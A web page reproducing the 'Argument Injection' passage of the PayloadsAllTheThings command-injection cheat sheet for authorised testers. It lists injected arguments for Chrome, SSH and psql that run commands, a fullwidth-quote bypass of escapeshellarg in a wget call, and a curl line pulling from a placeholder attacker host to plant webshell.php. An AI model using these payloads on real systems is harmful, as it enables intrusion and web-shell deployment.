Skip to content
BackEsc
Connect AISign inSign up free

Command Injection · passage 5 of 28

Argument Injection

1 code block · Command Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Connect AI

Open this passage on GitHub

Gain a command execution when you can only append arguments to an existing command. Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution. * Chrome ```ps1 chrome '--gpu-launcher="id>/tmp/foo"' ``` * SSH ```ps1 ssh '-oProxyCommand="touch /tmp/foo"' foo@foo ``` * psql ```ps1 psql -o'|id>/tmp/foo' ``` Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique. In the following example, the payload `＂ --use-askpass=calc ＂` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)

$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell. * curl ```ps1 # -o, --output <file> Write to file instead of stdout curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php ```

Source: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 28 is a mark on the map. Named now: 1 to 26, reading order first.

  1. Command Injection§ 1text · README.md
  2. Methodology§ 21 code block · README.md
  3. Basic Commands§ 31 code block · README.md
  4. Chaining Commands§ 41 code block · README.md
  5. Argument Injection§ 51 code block · README.md
  6. Inside A Command§ 6text · README.md
  7. Bypass Without Space§ 7text · README.md
  8. Bypass With A Line Return§ 81 code block · README.md
  9. Bypass With Backslash Newline§ 9text · README.md
  10. Bypass With Tilde Expansion§ 101 code block · README.md
  11. Bypass With Brace Expansion§ 111 code block · README.md
  12. Bypass Characters Filter§ 121 code block · README.md
  13. Bypass Characters Filter Via Hex Encoding§ 131 code block · README.md
  14. Bypass With Single Quote§ 141 code block · README.md
  15. Bypass With Double Quote§ 151 code block · README.md
  16. Bypass With Backticks§ 161 code block · README.md
  17. Bypass With Backslash and Slash§ 171 code block · README.md
  18. Bypass With $@§ 181 code block · README.md
  19. Bypass With $()§ 191 code block · README.md
  20. Bypass With Variable Expansion§ 201 code block · README.md
  21. Bypass With Wildcards§ 211 code block · README.md
  22. Bypass With Random Case§ 221 code block · README.md
  23. Time Based Data Exfiltration§ 23text · README.md
  24. Dns Based Data Exfiltration§ 24text · README.md
  25. Polyglot Command Injection§ 25text · README.md
  26. Backgrounding Long Running Commands§ 261 code block · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Sign inSign up free

Updated